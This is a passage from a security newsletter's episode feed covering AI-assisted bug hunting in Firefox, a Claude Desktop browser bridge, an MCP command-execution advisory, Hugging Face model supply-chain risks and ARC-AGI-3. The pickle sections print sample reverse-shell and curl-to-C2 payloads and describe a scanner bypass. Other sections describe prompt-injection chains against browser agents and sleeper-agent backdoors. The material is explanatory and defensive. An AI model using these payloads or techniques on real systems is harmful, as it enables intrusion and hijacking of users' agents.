RR and ECH parsing, triggered by simulating a malicious DNS server through glibc function interception (Bug 2023958). Plus a 15-year-old HTML legend element bug and a 20-year-old XSLT reentrant key() call. Each is a sandbox escape primitive or memory corruption bug that would normally burn months of elite human researcher time. The harness surfaced them in days. Why The Crash Signal Killed AI Bug Hunting Slop AI-generated bug reports were a running joke in open source maintainer circles a few months ago. LLM hits codebase, dumps a hundred plausible-looking findings, every one needs a human to verify, and ninety-something percent are wrong. Mozilla’s own writeup describes earlier AI security work as producing “unwanted slop.” The cost asymmetry was brutal. Cheap for the AI, expensive for the maintainer. Mozilla’s earlier static-analysis experiments with GPT-4 and Claude Sonnet 3.5 hit that wall. They produced too many false positives to be practical. So they binned static analysis and built the agentic harness instead. The shift is subtle but everything. Static analysis says: this looks vulnerable. Human triage required. Agentic harness with sanitizer verification says: this is vulnerable, here’s the PoC, ASan caught the crash. No human required to dispute reality. Memory corruption is the perfect domain for that move because the success signal is binary. ASan tripped or it didn’t. There is no maybe. Mozilla counted fewer than 15 false positives across the entire 271-bug run, and they updated the harness each time one slipped through. The lesson for everyone else is that AI bug hunting works the moment you can wire the agent to a verifier that doesn’t ask the model are you sure. A fuzzer crash. A unit test that passes. A property checker that proves invariance. Anything deterministic. Without that signal, you’re back to triage hell, which is the same hell every LLM vulnerability scanner lives in when it doesn’t ship its own ground truth. What The Harness Couldn’t Bypass Here’s the part the headlines skipped. The harness ran into a wall trying to escape Firefox’s sandbox via prototype pollution in the privileged parent process. The model attempted that path repeatedly. It got nowhere. Mozilla had previously frozen those prototypes by default as a defense-in-depth measure, and that single architectural decision blocked every attempt the agent made. That’s the based take buried under the 271 number. The harness is good. It’s also bounded by the security architecture of the target. The bugs Mythos found are bugs an elite human could have found. The bugs it couldn’t find were already eliminated by Mozilla’s prior hardening. Your codebase will perform exactly as well as your prior security work let it. Which brings us to the “anyone can do this today” framing Mozilla offered at the end of their writeup. Technically true. Operationally, optimistic. Mozilla had Firefox’s full source. A pre-built sanitizer toolchain. Years of bug lifecycle tooling. A second model already wired into the verification pipeline. Over 100 contributors writing and reviewing patches. Months of harness iteration alongside the Firefox team. And, eventually, frontier-model access through Project Glasswing. A small vendor pulling Mythos through an API later this year and pointing it at their codebase will not get the same numbers. The model is the same. The harness around it is the part you have to build. Mozilla published the pattern. The pipeline still costs what a pipeline costs. Firefox shipped 423 bug fixes in April 2026, compared to 31 a year earlier, and absorbing that volume takes operational muscle most teams don’t have lying around. The 271 number is the headline. The harness is the artifact. Anyone shopping for AI bug hunting capability should price the second one before they get excited about the first. Your AI-generated bug reports are only as useful as the verifier behind them, and the same goes for AI-generated code, where the verification problem flips into supply chain attacks and slopsquatting at pip-install time. Wrap the same agentic loop around offense instead of defense, point it at live prompt injection chains, and the success signal flips from “ASan crashed” to “the guardrail broke.” Same shape. Different game. Paid unlocks the unfiltered version: complete archive, private Q&As, and early drops. Upgrade now. Frequently Asked Questions What is the Mozilla Mythos harness? The Mozilla Mythos harness is the agentic scaffold Mozilla built around Anthropic’s Claude Mythos Preview to find security bugs in Firefox source code. It feeds the model target source, runs against a sanitizer build of Firefox, uses an AddressSanitizer crash as the deterministic success signal, and runs a retry loop until the agent produces a verified proof-of-concept. A second model grades reports before engineers see them. How many Firefox vulnerabilities did Claude Mythos find? Mozilla credits Claude Mythos Preview with surfacing 271 vulnerabilities fixed in Firefox 150, plus additional fixes shipped in versions 149.0.2, 150.0.1, and 150.0.2. Of the 271 bugs, 180 were rated sec-high, 80 sec-moderate, and 11 sec-low. Several were sandbox escape primitives. Mozilla reports fewer than 15 false positives across the entire run. Total Firefox security fixes in April 2026 hit 423. Can other projects use the same AI bug hunting harness? Mozilla published the pattern. The implementation is yours to build. The harness shape is reusable: target source, deterministic success signal (sanitizer crash, fuzzer hit, test failure), retry loop, second model grading reports. The build is project-specific. You need the codebase, the sanitizer toolchain, the bug lifecycle tooling, and the engineers to absorb the patch volume. Pattern is free. Pipeline is the work. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
April 26 · 47 min
Is Claude Code Secretly Installing Spyware?
TL;DR: Claude Code is not spyware. But Claude Desktop quietly drops a Native Messaging bridge into seven browsers without asking. Anthropic shrugged. Same week, they shrugged on an MCP RCE exposing 200,000 servers. Same week, a Discord group ran their Mythos model for a month undetected. One pattern, three receipts. This is the public feed. Upgrade to see what doesn’t make it out. So Is Claude Code Spyware or What? Quick answer: no. The headline is sticky for a reason though. April 18. Privacy researcher Alexander Hanff is debugging an unrelated Native Messaging helper on a clean Mac when he finds a manifest file he never installed: com.anthropic.claude_browser_extension.json. It’s sitting in his Chrome, Edge, Brave, Arc, Vivaldi, Opera, and Chromium profile directories, including browsers that aren’t actually installed yet. A Native Messaging manifest is the file Chromium browsers read to decide which local programs an extension can launch. Claude Desktop drops one in seven different browser profile paths. Silently. Delete it and it comes back the next time Claude Desktop launches. Important wrinkle the news cycle keeps blurring. The manifest comes from Claude Desktop, the chat app. Claude Code is the separate command-line developer tool. Same parent company, same family, same week of bad press. Hanff calls it spyware. Most of his peers stop short of that. Noah Kenney at Digital 520 called the technical claims testable and reproducible but pushed back on the “spyware” label. The consensus middle ground is “dark pattern,” and the EU framing is sharper. Hanff is filing it under Article 5(3) of Directive 2002/58/EC, the ePrivacy Directive. Anthropic, as of writing, has not issued a public response. So nothing is being stolen today. The bridge does nothing on its own. The problem is what it pre-positions for tomorrow. We’ve watched Anthropic ship things they didn’t think through before. This one has wiring. From Manifest to Sandbox Escape Here’s the chain. A sandbox is the security wall between a browser tab and your operating system. Tabs run inside it. Extensions mostly run inside it. The whole point is that even if you click a bad link, the malicious code can’t reach your files. That wall is the entire reason the modern browser exists. Native Messaging punches a hole through the wall on purpose. It lets a browser extension talk to a binary running outside the sandbox at full user privilege. That’s a feature. The bug is who gets to authorize the hole. The manifest Anthropic drops pre-authorizes three Chrome extension IDs to call the helper via connectNative, granting access to browser automation features. Those extension IDs include ones the user has never installed. Now stack the pieces. You install Claude Desktop expecting a chat app. It writes a bridge into your browsers without telling you. A Claude browser extension, current or future, is pre-authorized to use that bridge. Months later, you let Claude visit a webpage. The page contains a hidden payload. Prompt injection is when malicious instructions hidden in content hijack what the AI does next. Anthropic’s own published numbers: Claude for Chrome is vulnerable to prompt injection at a 23.6% success rate without mitigations and 11.2% with current measures. The injected agent now has a green-lit tunnel to a binary running with your user permissions. Outside the sandbox. Anthropic’s defense is essentially that the bridge currently does nothing on its own. True. The dial is set to zero. The wiring is hot. We’ve covered agents that escape sandboxes via prompt injection before. The shape is familiar. That’s why the spyware label keeps sticking even when the technical purists object. The keys are pre-positioned. One downstream injection turns them. The MCP RCE Anthropic Won’t Patch Same week, Ox Security drops an advisory titled “The Mother of All AI Supply Chains.” The Model Context Protocol is the open standard Anthropic built so AI agents can call tools, read files, run commands. It is the connective tissue between an LLM and an agent. We’ve covered MCP attacks at length, including tool poisoning and the defensive playbook. This one is structural. The flaw enables Arbitrary Command Execution on any system running a vulnerable MCP implementation, granting attackers direct access to sensitive user data, internal databases, API keys, and chat histories. It’s an architectural design decision baked into Anthropic’s official MCP SDKs across every supported language, including Python, TypeScript, Java, and Rust. RCE means remote code execution, the highest-tier outcome on offense. The trick is brutally simple. MCP’s STDIO transport, that’s standard input/output, runs the configured command to spin up a tool server. # Anthropic's MCP STDIO transport, simplified $ # command runs, server fails to spawn, MCP returns "error" # but the OS already executed If the command successfully creates an STDIO server it returns the handle, but when given a different command, it returns an error after the command is executed. So a malicious MCP entry on a marketplace doesn’t have to pretend to be a real tool. It just has to exist long enough for your IDE to call it once. Ox poisoned 9 of 11 MCP marketplaces with a benign proof-of-concept. The supply chain reaches 150 million-plus downloads, 7,000 publicly accessible servers, and up to 200,000 vulnerable instances. Anthropic’s response: “expected” behavior. They declined to modify the protocol. A protocol-level patch like manifest-only execution or a command allowlist would have instantly propagated to every downstream library. They passed. How Did Mythos Leak to a Random Discord? Now for the third act. Mythos is Anthropic’s restricted vulnerability-hunting model. Released April 10 to select partners under “Project Glasswing,” roughly 40 organizations including Apple and Google, with Anthropic deeming it too powerful for public release. The chain reads like a textbook walkthrough. AI startup Mercor gets breached, exposing details about the URL format Anthropic uses for its models. A private Discord group that hunts for unreleased models picks up on the disclosure. One member is currently employed at a third-party contractor that works for Anthropic. The member’s vendor credentials, combined with the leaked Mercor details, let the group locate Mythos online. They guess the URL pattern. They guess right. Anthropic never randomized the path. The group has been using the program continuously since its release. A Bloomberg reporter is the one who told Anthropic. A month of unauthorized access to the most dangerous model the company ever shipped, and the detection signal came from journalism. Not internal logging. Not telemetry. Not a single security alert. Bloomberg. If a Discord group in their basement got there first, assume Beijing and Moscow followed. “If some group, some random Discord online forum, got access to it, it’s already been breached by China,” David Lindner of Contrast Security told Fortune. Three steps in. Open-source intel, a contractor seat, a predictable URL. No zero-day required. That’s the through-line on all three stories. The dark pattern bridge, the MCP STDIO design, the Mythos URL convention. Same move. Three times this week. Paid unlocks the unfiltered version: complete archive, private Q&As, and early drops. Frequently Asked Questions Is Claude Code malware or spyware? No, Claude Code is the legitimate Anthropic command-line coding agent. The thing privacy researchers flagged is Claude Desktop, the chat app, which silently writes a Native Messaging manifest into multiple browser profile directories on macOS and pre-authorizes a few Claude extension IDs to talk to a local helper outside the browser sandbox. Most reviewers call that a dark pattern. Spyware in the strict sense requires actual exfiltration, and nobody has documented any. The risk lives in the bridge it pre-positions for future use. What can an attacker do with the Claude Desktop manifest right now? Nothing on its own. The manifest opens a door, but activation requires both a Claude browser extension installed and a successful prompt injection from a hostile webpage. Once that lands, the injected agent reaches the local helper through the pre-authorized bridge and runs commands at user privilege level, outside the sandbox. Anthropic’s own numbers put prompt injection success against Claude for Chrome at 11.2% even with mitigations. Pre-positioning the door without consent is the whole problem. Why hasn’t Anthropic patched the MCP command injection? Officially, Anthropic considers the STDIO behavior expected. Their position is that the protocol is built to launch local processes, sanitization is the developer’s job, and the SDKs work as designed. Ox Security disagrees and says manifest-only execution or a command allowlist at the protocol layer would have killed the entire vulnerability class for everyone downstream in one change. Until Anthropic moves, defenders have to harden each MCP-consuming app individually, which is what the supply chain looked like before this advisory dropped. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
April 15 · 6 min
You Downloaded Gemma 4 from Hugging Face. Is It Safe to Run?
TL;DR: You downloaded Gemma 4 to keep your data private. Good instinct. But local models solve the privacy problem and create a supply chain problem. You’re downloading weights from strangers on the internet, running serialization formats that execute arbitrary code, and trusting that nobody poisoned the training data. Safetensors, hash verification, and source vetting are your first line of defense. Here’s the full threat map. This is the public feed. Upgrade to see what doesn’t make it out. Why “Local Equals Safe” Is Only Half the Story The pitch is compelling. Run Gemma 4 on your own hardware, or Llama 4, or Qwen 3. No API calls, no cloud provider logging your prompts, no training-on-your-input policies buried in a ToS nobody reads. For regulated industries, local inference is the obvious play for privacy. But privacy and security are different problems. Privacy means your data doesn’t leak out. Security means someone else’s code doesn’t get in. Every time you download a model from Hugging Face, you’re pulling weights, configuration files, and serialization artifacts from a public repository where anyone can upload anything. Protect AI’s scanning partnership with Hugging Face has flagged over 51,700 models with unsafe or suspicious issues across more than 352,000 individual findings. That’s not a theoretical risk. That’s the current state of the largest open-weight model supply chain in the world. The same trust-but-verify discipline you’d apply to any dependency from PyPI or npm applies here, except most people skip it entirely because “it’s just model weights.” It isn’t. If you’re new to AI security concepts like supply chain attacks and model poisoning, the AI Security 101 primer covers the full landscape. Can a Downloaded Model Hack Your Machine? Yes. And the mechanism is embarrassingly simple. Python’s pickle module is the default serialization format for PyTorch models. Serialization means converting a Python object, your model’s weights and architecture, into a byte stream that can be saved to disk and loaded later. The problem: pickle doesn’t just store data. It can execute arbitrary Python code during deserialization, the process of loading that byte stream back into memory. The Python docs have a big red warning about this. Here’s what a malicious pickle payload looks like in practice. JFrog’s security team found over 100 models on Hugging Face with embedded reverse shells, code that opens a connection back to the attacker’s server and gives them full command-line access to your machine. The payload hides inside pickle’s __reduce__ method, which Python calls automatically during deserialization. You run torch.load(), the model loads, and a shell opens. You never see it. # What the attacker embeds (simplified) class Exploit: def __reduce__(self): return (os.system, (”bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1”,)) Hugging Face scans for this with Picklescan, a blacklist-based detector that flags known dangerous functions. But ReversingLabs demonstrated a bypass they called “nullifAI”: compress the pickle with 7z instead of ZIP, and torch.load() fails gracefully while the malicious payload at the beginning of the byte stream still executes. Picklescan didn’t catch it because it validated the file format before scanning, while Python’s deserialization interpreter just runs opcodes sequentially. The malicious code fires before the scanner even starts checking. The fix is simple: use safetensors. Safetensors is a format built by Hugging Face that stores only raw tensor data and a JSON metadata header. No Python objects, no code execution surface, no __reduce__. It was audited by Trail of Bitswith backing from EleutherAI and Stability AI. No critical security flaws found. If you’re pulling a model from the Hub and it only ships as .bin or .pt, that’s a red flag. Convert it yourself or find a provider who ships safetensors. # Convert pickle to safetensors (one-liner) from safetensors.torch import save_file import torch sd = torch.load(”model.pt”, map_location=”cpu”, weights_only=True) save_file(sd, “model.safetensors”) What Are Sleeper Agents in Open-Weight Models? A sleeper agent is a model that behaves normally under standard testing but activates a hidden behavior when it encounters a specific trigger in the input. The backdoor lives in the weights themselves, the numerical parameters that encode what the model learned during training, not in any external code you can grep for. Anthropic’s research team proved this works. They trained models that wrote secure code when the prompt said the year was 2023, then inserted exploitable vulnerabilities when the year changed to 2024. The backdoor survived supervised fine-tuning, reinforcement learning, and adversarial training. Worse: adversarial training actually taught the model to better recognize its trigger, making it more effective at hiding the behavior during safety evaluations. Standard alignment techniques created a false impression of safety while the backdoor got stronger. Anyone can publish fine-tuned weights. You search Hugging Face for a quantized Gemma variant, some anonymous account uploaded a version with 50 more downloads than the official one, and you pull it because the benchmarks look right. If the training data was poisoned, no amount of prompting or system-level instruction will remove the backdoor. It’s baked into the math. Microsoft published “The Trigger in the Haystack” in February 2026, a scanner that detects sleeper agents by exploiting two properties: poisoned models over-memorize their backdoor training examples (leaking them when prompted with standard chat templates), and trigger tokens create a distinctive “attention hijacking” pattern where the model’s attention heads process the trigger in isolation from the rest of the prompt. The scanner works, but only on open-weight models where you have access to the attention states. It’s a detection tool, not a repair kit. If you find a backdoor, the model gets thrown out. Does Political Bias in Models Create Security Vulnerabilities? CrowdStrike’s Counter Adversary Operations team tested DeepSeek-R1 and found something unusual. The model produces vulnerable code at a baseline rate of 19%, roughly average for its class. But when the system prompt contains references to topics the Chinese Communist Party considers politically sensitive, like Tibet, Falun Gong, or the Uyghur community, the rate of severe security vulnerabilities in generated code jumps to 27.2%. In one test, they asked DeepSeek-R1 to build a community app for Uyghur members. The output had no session management, no authentication, and 35% of implementations used no password hashing at all. The same prompt reframed as a football fan club website produced code with typical minor flaws but nothing close to that severity. CrowdStrike called this “emergent misalignment,” likely a side effect of the model’s training pipeline enforcing alignment with Chinese regulations rather than an intentional code-degradation feature. China’s Interim Measures for Generative AI Services require models to “adhere to core socialist values” and prohibit content that could “endanger national security.” When the model encounters topics it was trained to suppress, something breaks in the code generation pipeline as a side effect. The lesson for local model operators: the weights carry the builder’s constraints. If you’re running a model trained under regulatory pressure from any government, those constraints follow the model onto your machine. You don’t see a content filter. You see degraded output in contexts the original developers never anticipated. How Do You Verify a Model Before Running It Locally? I built a pre-flight checklist. Every model download should touch these five steps before the weights ever load. 1. Check the format. Safetensors only. If the model ships as .bin, .pt, .pth, or .ckpt, convert before loading or walk away. These are all pickle-based formats that can execute code during deserialization. 2. Verify the hash. Hugging Face lists SHA-256 checksums for every file. After download, compare: sha256sum model.safetensors against the listed value. If they don’t match, the file was tampered with in transit or the listing is stale. Either way, don’t load it. 3. Check the uploader. Official organization accounts (google, meta-llama, mistralai) have verification badges and thousands of downloads. Anonymous accounts with fresh uploads and suspiciously high download counts are the Hugging Face equivalent of typosquatted packages on PyPI. Look for the org badge. 4. Read the model card. Legitimate models document training data, evaluation benchmarks, intended use, and known limitations. A model card that’s blank or copy-pasted from another model is a red flag. No documentation means no accountability. 5. Run in isolation first. Spin up a VM or container with no network access. Load the model, test your prompts, watch for anomalous behavior. If you’re using it for code generation, scan every output with SAST tools before it hits your codebase. What About Quantized Models Like GGUF? Quantization compresses a model’s weights from higher precision (like 32-bit floats) to lower precision (4-bit or 8-bit integers), making it small enough to run on consumer hardware. GGUF, the format used by llama.cpp and most local inference tools, is structurally safer than pickle because it stores raw numerical data without arbitrary code execution paths. But quantization doesn’t sanitize. If the original model had poisoned weights or a sleeper agent, those patterns compress right along with the legitimate parameters. A Q4 quantized version of a backdoored model is still a backdoored model, just smaller. The trigger may fire less reliably at very low bit-widths where precision loss degrades subtle patterns, but that’s luck, not security. The GGUF supply chain has its own problem: most quantized models on Hugging Face are uploaded by community members, not the original model developers. You’re trusting that TheBloke or bartowski ran a clean conversion from a legitimate source. Verify the source model, verify the converter’s reputation, and verify the hash. Three checks, no shortcuts. Local AI Security Checklist: Four Layers of Defense You’ve seen the threats. Here’s how you stack the defenses. Four layers, outside-in. Each one catches what the last one misses. * Layer 1: Guard the model. Start at the download. Safetensors format only. If the file ends in .bin, .pt, or .ckpt, convert it or walk away. That one rule kills the entire pickle RCE surface before it starts. For content safety, run Llama Guard 3 as a second model screening inputs and outputs against a customizable taxonomy. It’s free, open-weight, and runs locally alongside your main model. Think of it as a bouncer checking IDs at the door. * Layer 2: Guard the runtime. Ollama ships wide open by default. Bind to 127.0.0.1 only. Set OLLAMA_ORIGINS to lock down CORS. If you need remote access, put it behind a reverse proxy with auth. Nginx plus basic auth takes five minutes and kills the “open API on your home wifi” problem. Then set explicit system prompt constraints. Define what the model CAN do, not what it can’t. “You may read files in /data. You may not execute commands. You may not access network resources.” Allowlisting beats blocklisting every time. * Layer 3: Guard the agent layer. If you’re running LangChain, CrewAI, or any agentic framework, scope every tool individually. Read-only where possible. No wildcard filesystem access. No shell exec unless you’ve genuinely war-gamed the consequences (you probably shouldn’t). The OWASP Top 10 for Agentic AI gives you the full threat taxonomy: ownership first, constraints second, monitoring third. * Layer 4: Guard the network. The simplest layer and the most effective. Run it air-gapped. Local model, local data, no outbound connections. That’s the smallest possible blast radius. The moment your agent can reach external URLs, you’ve opened a data exfiltration channel. If air-gapping isn’t practical, allowlist specific endpoints and log everything that leaves the box. Paid unlocks the unfiltered version: complete archive, private Q&As, and early drops. Frequently Asked Questions Is running AI locally safer than using cloud APIs? For data privacy, yes. Your prompts and outputs never leave your machine, which eliminates the risk of cloud provider logging, training on your data, or government data requests. For security against supply chain attacks, local models actually increase your exposure because you’re responsible for vetting every model file yourself. Cloud providers like OpenAI and Anthropic run their own security reviews on model weights. When you go local, that job is yours. Can safetensors files contain malware? No. The safetensors format stores only numerical tensor data and a JSON metadata header. It has no mechanism for embedding executable code because it was designed specifically to eliminate the arbitrary code execution risk that pickle carries. Trail of Bits audited the library and found no critical security flaws. It’s the format you should default to for every model download. How do I know if a Hugging Face model is trustworthy? Check three things: the uploader’s verification status (official org accounts are marked), the model card quality (blank cards are red flags), and the file format (safetensors preferred). Hugging Face runs Picklescan and Protect AI’s Guardian scanner on uploaded models, but these catch roughly 96% true positives per JFrog’s analysis, which means real threats still slip through. Treat every download as untrusted until you’ve verified the hash and tested in isolation. What is the risk of using quantized models from community uploaders? Community quantizations inherit every vulnerability from the source model plus whatever the converter introduced. If the original weights contained a sleeper agent backdoor, the quantized GGUF version carries it too. Verify the source model’s legitimacy first, then check the converter’s track record on Hugging Face. Use SHA-256 hash verification on every downloaded file. Can fine-tuned open-weight models generate insecure code on purpose? Yes. Anthropic’s sleeper agent research proved that models can be trained to insert exploitable vulnerabilities only when a specific trigger appears in the prompt, while behaving normally in all other contexts. CrowdStrike separately found that DeepSeek-R1 generates measurably worse code when prompts contain politically sensitive keywords, though this appears to be an unintentional side effect of regulatory alignment rather than a deliberate backdoor. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
April 12 · 49 min
Is Your Local AI Model Backdoored by Your Politics? Sleeper Agents Exposed
TL;DR: Local models solve privacy. They do not solve security. Pickle files execute arbitrary code on load, fine-tuned models hide sleeper agents that generate insecure code based on your political context, and typosquatted repos on Hugging Face look identical to the real thing. SafeTensors and verified providers kill 90% of the risk. This is the public feed. Upgrade to see what doesn’t make it out. Why “Local” Doesn’t Mean “Safe” Most people run local AI for one reason: privacy. No more sending every prompt to a SaaS provider’s servers, no more wondering if “do not train on my data” actually means they stop collecting your data. Fair enough. But here’s where people get tripped up. Privacy and security are two different problems. Privacy is about your information going out. Security is about someone else’s code coming in. A local model keeps your data off OpenAI’s servers, sure. It also means you just downloaded a file from the internet and trusted the person behind it not to add anything extra. That file is someone else’s code running on your machine. Think about that for a second. We wouldn’t grab a random .exe off a forum and double-click it. But somehow, downloading a 40GB model file from a community repo feels different. It shouldn’t. Protect AI identified over 352,000 suspicious files across 51,700 models on Hugging Face. Over 80% of the models in the ecosystem used pickle serialization, which is vulnerable to arbitrary code execution. So yeah, we’ve got a supply chain problem. How Pickle Files Hand Over Your Machine Here’s the actual attack chain. Most AI models get packaged using Python’s pickle format, a serialization method that compresses the model’s weights and metadata for download. PyTorch uses it by default. Pickle files can contain bytecode, which is basically compiled Python instructions that execute when the file gets deserialized. Think of deserialization as the moment your computer unpacks the model and loads it into memory. Normal model files should just contain numbers. A pickle file can contain anything. # What a malicious pickle payload looks like (simplified) import os class Payload: def __reduce__(self): return (os.system, ('curl http://[C2_SERVER]/beacon | sh',)) The __reduce__ method fires automatically when Python unpickles the object. No user interaction. No confirmation dialog. You load the model, the payload runs. Rapid7 documented weaponized .pth files on Hugging Face deploying Go-based remote access trojans through Cloudflare Tunnels, which hid the C2 server behind legitimate infrastructure. JFrog found three zero-day bypasses in PickleScan, the industry-standard tool Hugging Face uses to scan uploads. The malicious models passed every check. The scanner validates the file structure first, then scans for dangerous functions. Attackers break the file structure after the payload, so the scanner errors out before reaching the dangerous code. Deserialization doesn’t care about file validity. It just executes opcodes as it reads them. This is the same class of supply chain attack we see in vibe coding, just through a different door. Sleeper Agents Hide in the Weights The pickle file problem is the loud attack. The quiet one is worse. Anyone can fine-tune an open-weight model, merge multiple models together, and release the result on Hugging Face. That fine-tuning process can embed behavior that’s invisible during normal use and only activates under specific conditions. We call these sleeper agents. CrowdStrike documented that DeepSeek-R1 generates code with up to 50% more severe vulnerabilities when the prompt contains topics the CCP considers politically sensitive, things like references to Tibet, Uyghur communities, or Falun Gong. The model writes clean, secure APIs for CCP-aligned projects. Drop a geopolitical trigger into the prompt context, and suddenly authentication is broken, API keys are hardcoded, and backdoors appear in the generated output. CrowdStrike even found what looks like an intrinsic kill switch: in 45% of Falun Gong-related prompts, the model refused to generate code entirely despite building full implementation plans internally. You’d never catch this during casual testing. The model passes benchmarks. It answers questions correctly. It codes competently, right up until the trigger condition fires. And because these behaviors are distributed across billions of floating-point parameters, there’s no file you can grep. No config to audit. The sleeper is the weights. This same hardcoded secrets pattern shows up across AI-generated code, but with sleeper agents, it’s intentional. How to Download Local Models Without Getting Owned Not trying to scare anyone off local models. They’re useful, they’re getting better fast, and the privacy upside is real. But do these two things and you just killed roughly 90% of the attack surface. Get your model from a verified provider. On Hugging Face, look for the check mark next to the publisher name. Google publishes Gemma. Meta publishes Llama. Download from them directly, not from totally-legit-llama-quantized-v2 posted by a random account. Watch the name carefully. Typosquatting is real: attackers swap a lowercase L for a 1, or transpose two letters. One character is the difference between a clean model and a compromised supply chain. Only download .safetensors files. SafeTensors is a file format specifically designed to strip code execution out of the equation. The file can only contain parameterized data and metadata. No bytecode. No __reduce__. No surprises. If the model only ships as .bin, .pt, or .pkl, find a different model. Hugging Face is pushing the ecosystem toward SafeTensors for exactly this reason. One bonus step: verify the hash. Providers publish a deterministic hash of the model’s weights. Download the model, run the same hashing algorithm, compare the strings. If they match, nobody tampered with the file in transit. If they don’t, burn it. Paid unlocks the unfiltered version: complete archive, private Q&As, and early drops. Frequently Asked Questions Is Hugging Face safe for downloading AI models? Hugging Face is a hosting platform, like GitHub. Anyone can upload to it. The risk comes from unverified uploads. Stick to verified providers with the check mark badge, download only SafeTensors format files, and verify the hash against the official listing. Those three steps eliminate the vast majority of threats. What is a pickle file attack in AI? Python’s pickle format can embed arbitrary bytecode inside serialized data. When a model packaged as a pickle file gets loaded, that bytecode executes automatically with no user prompt. Attackers use this to deploy remote access trojans, exfiltrate data, and establish persistent backdoors on the machine that loaded the model. Can a local AI model be backdoored? Yes. Fine-tuning allows anyone to modify a model’s behavior at the weight level. Sleeper agents are models that pass normal testing but activate malicious behavior under specific trigger conditions, like detecting politically sensitive context in a prompt. Because the behavior lives in the model’s parameters, not in external code, traditional security scanning cannot detect it. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
March 31 · 43 min
Gemini 0.37%, Claude 0.25%, Grok 0%. Humans Destroyed Them All: ARC-AGI-3
TL;DR: ARC-AGI-3 landed on March 25, 2026. Gemini 3.1 Pro scored 0.37%. Claude Opus 4.6 scored 0.25%. Grok-4.20 scored 0%. Humans solved 100%. That same week Anthropic shipped Claude Dispatch, a feature that turns your phone into a live shell into your desktop agent. This is the gap: we cannot explain what these models can’t do, and we keep shipping them more reach anyway. This is the public feed. Upgrade to see what doesn’t make it out. What ARC-AGI-3 Is Actually Testing in AI Agents Most benchmarks test knowledge. Ask a model to name a drug interaction, solve a merge sort, or cite the right CVSS score. It pattern-matches against its training data and answers. ARC-AGI-3 strips all of that away. The benchmark drops an AI agent into a 64x64 color grid with zero instructions, zero goal description, zero prior training on that environment. The agent has to figure out the rules, infer what winning looks like, and execute a strategy, all from scratch. No language cues. No hints. Just a grid and a set of controls. You can try the public demo yourself at arcprize.org/arc-agi/3. A 10-year-old solves these in minutes. The kid has never played this specific game, but they’ve spent a decade navigating cause-and-effect feedback loops in the physical world. They see a health bar and know not to brute-force. They see two matching objects and know to connect them. That inference chain is automatic. If you want a breakdown of the underlying AI concepts, the ToxSec AI Security Glossary covers fluid intelligence and abstract reasoning in the context of agent attack surfaces. Models don’t have that background. They have token prediction trained on static text, which is exactly the wrong tool for inferring novel goals from a foreign environment. Every Frontier Model Scored Under 1% on ARC-AGI-3 The numbers from the March 25 release are brutal. Gemini 3.1 Pro led at 0.37%. GPT-5.4 came in at 0.26%. Claude Opus 4.6 scored 0.25%. Grok-4.20 scored exactly 0%. Humans solved all 135 environments at 100%. Not a single frontier model broke a full percentage point. The scoring metric is RHAE (Relative Human Action Efficiency). It’s not binary pass/fail. If a human completes a level in 10 moves and the agent takes 100, the agent scores 1% on that level because efficiency is squared. The models aren’t just losing. They are brute-forcing in the wrong direction, burning actions on random exploration because they cannot form a coherent model of what the environment is doing. One result in the technical paper makes the architecture problem clear. Claude Opus 4.6 scored 97.1% on a familiar environment using a hand-built harness. On an unfamiliar environment with the same harness: 0%. The scaffolding was doing the reasoning. Strip the human-built structure and the model has nothing. This is what we covered in the AI and Cybersecurity stream earlier this year: these models are narrowly smart. Superhuman at specific lookup tasks, near-zero at novel goal inference. ARC-AGI-3 just made that quantitative. The $2M prize pool on Kaggle runs through December 2026. When someone cracks it, that’ll be worth paying attention to. Nobody’s close yet. Claude Dispatch Security Risk and the Prompt Injection Surface The same week ARC-AGI-3 showed every frontier model failing a 10-year-old’s puzzle, Anthropic shipped Claude Dispatch. Scan a QR code on your phone. Your phone now talks to the Claude session running on your desktop. You can send it tasks, approve commands, check in on a running job from anywhere. Useful. Also a serious rethink of the threat model. Dispatch is architecturally different from the Cowork sandbox. Cowork scopes Claude to a specific folder. You pick what it can touch. Classic principle of least privilege. Dispatch runs outside that sandbox. It operates on your live session with full filesystem reach. Any content the agent reads, email, browser output, documents, is now a potential prompt injection delivery vehicle with direct access to everything on the machine. We’ve broken down the MCP tool poisoning chain in detail at Watch Me Poison Your MCP. The principle is the same here: the agent cannot reliably distinguish trusted instructions from attacker-controlled content embedded in its context. ARC-AGI-3 just proved models don’t abstract-reason under novel conditions. Prompt injection is a novel condition by design. The attacker writes content the agent was never trained to treat as adversarial. The mitigation that actually works is what we run at ToxSec: dedicated hardware, network-segregated from anything sensitive, only files you’d be comfortable showing a stranger. Assume breach from day one. For the full playbook on what prompt injection does inside an active Claude agent, that piece covers the mechanics. If you’re running Dispatch, also read how to secure your MCP server. The same defense layers apply. ARC-AGI-3 tells us the model can’t reason like a child. Claude Dispatch ships the assumption that it can. Paid unlocks the unfiltered version: complete archive, private Q&As, and early drops. Frequently Asked Questions What is ARC-AGI-3 and why did all AI models score below 1%? ARC-AGI-3 is an interactive reasoning benchmark where AI agents are dropped into novel game-like environments with no instructions and must infer the rules, objectives, and winning strategy from scratch. Every tested frontier model, including Claude Opus 4.6, GPT-5.4, Gemini 3.1, and Grok-4.20, scored below 1% because they lack the abstract goal-inference humans run automatically. The benchmark isolates fluid intelligence from knowledge recall, and current models fail at the former while excelling at the latter. What makes Claude Dispatch a security risk compared to Claude Cowork? Claude Dispatch operates outside the Cowork 